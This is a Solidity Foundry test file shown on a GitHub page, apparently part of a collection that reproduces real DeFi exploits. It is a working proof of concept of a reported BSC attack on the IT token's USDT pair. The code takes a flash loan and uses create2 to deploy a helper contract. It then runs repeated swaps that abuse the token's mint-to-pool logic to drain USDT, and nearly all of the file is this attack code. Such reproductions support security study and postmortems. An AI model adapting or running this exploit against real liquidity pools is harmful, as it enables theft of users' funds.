-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
IT_exp.sol
138 lines (118 loc) · 5.38 KB
/
IT_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// TX : https://phalcon.blocksec.com/explorer/tx/bsc/0xb33057f57ce451aa8cbb65508d298fe3c627509cc64a394736dace2671b6dcfa
// GUY : https://twitter.com/0xNickLFranklin/status/1768171595561046489
// Profit : ~13K USD
// REASON : Business Logic Flaw
// Transfer from pool,will lead to mint to pool.Seems easy,but a bit hard to make this poc.
contract ContractTest is Test {
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
Uni_Pair_V2 IT_USDT = Uni_Pair_V2(0x7265553986a81c838867aA6B3625ABA97B961f00);
// token0 IT token1 USDT
Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 IT = IERC20(0x1AC5Fac863c0a026e029B173f2AE4D33938AB473);
uint256 constant PRECISION = 10 ** 18;
address test_contract = address(this);
address hack_contract;
function setUp() external {
cheats.createSelectFork("bsc", 36_934_258);
deal(address(USDT), address(this), 0);
}
function testExploit() external {
emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
pool.flash(address(this), 2_000_000_000_000_000_000_000, 0, "");
emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
}
function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {
bytes memory bytecode = type(Money).creationCode;
uint256 _salt = 0;
bytecode = abi.encodePacked(bytecode, abi.encode(test_contract));
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));
hack_contract = address(uint160(uint256(hash)));
console.log(hack_contract);
USDT.transfer(address(hack_contract), 2_000_000_000_000_000_000_000);
address addr;
// Use create2 to send money first.
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
}
// Money hackContract = new Money((address(this)));
USDT.transferFrom(hack_contract, address(this), USDT.balanceOf(hack_contract));
USDT.transfer(address(pool), 2000 ether + fee0);
}
function hack(
address a
) public {
uint256 i = 0;
while (i < 9) {
console.log("Time : ", i);
USDT.transferFrom(a, address(IT_USDT), 2_000_000_000_000_000_000_000);
uint256 pair_balance = IT.balanceOf(address(IT_USDT));
uint256 usdt_balance = USDT.balanceOf(address(IT_USDT));
// 0 ->IT 1->USDT
(uint256 _reserve0, uint256 _reserve1,) = IT_USDT.getReserves();
uint256 balance0 = mintToPoolIfNeeded(_reserve0 - 1) + 1;
uint256 balance1 = (
(_reserve0 * _reserve1 * 10_000 * 10_000) / ((balance0 * 10_000) - (balance0 - 1) * 25)
+ 2000 ether * 25
) / 10_000;
uint256 amountout = usdt_balance - balance1;
console.log("amountout %e", amountout);
IT_USDT.swap(_reserve0 - 1, amountout - 1, a, "");
i++;
}
}
function max(uint256 a, uint256 b) external pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) external pure returns (uint256) {
return a <= b ? a : b;
}
function feed(
address a
) public {
USDT.approve(a, type(uint256).max - 1);
}
function mintToPoolIfNeeded(
uint256 amount
) public returns (uint256) {
uint256 tokenUsdtRate;
(uint112 reserve0, uint112 reserve1,) = IT_USDT.getReserves();
uint256 tokenReserve;
uint256 usdtReserve;
if (address(IT) == IT_USDT.token0()) {
tokenReserve = uint256(reserve0);
usdtReserve = uint256(reserve1);
} else {
tokenReserve = uint256(reserve1);
usdtReserve = uint256(reserve0);
}
tokenUsdtRate = uint256(usdtReserve) * (PRECISION) / (uint256(tokenReserve));
// uint256 k = tokenReserve.mul(usdtReserve);
uint256 tokenReserveAfterBuy = tokenReserve - amount;
// uint256 usdtReserveAfterBuy = k.div(tokenReserveAfterBuy);
uint256 usdtReserveAfterBuy =
this.min(tokenReserve * (usdtReserve) / (tokenReserveAfterBuy), USDT.balanceOf(address(IT_USDT))); // min impltementing rule 3
uint256 maxTokenUsdtRateAfterBuy = tokenUsdtRate + (tokenUsdtRate / (100));
uint256 tokenMinReserveAfterBuy = usdtReserveAfterBuy * (PRECISION) / (maxTokenUsdtRateAfterBuy);
if (tokenReserveAfterBuy >= tokenMinReserveAfterBuy) {
return amount / 2;
} else {
return this.max(tokenMinReserveAfterBuy - (tokenReserveAfterBuy), amount / 2);
}
}
}
contract Money {
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
constructor(
address _address
) {
USDT.approve(_address, type(uint256).max - 1);
_address.call(abi.encodeWithSignature("feed(address)", address(this)));
_address.call(abi.encodeWithSignature("hack(address)", address(this)));
}
}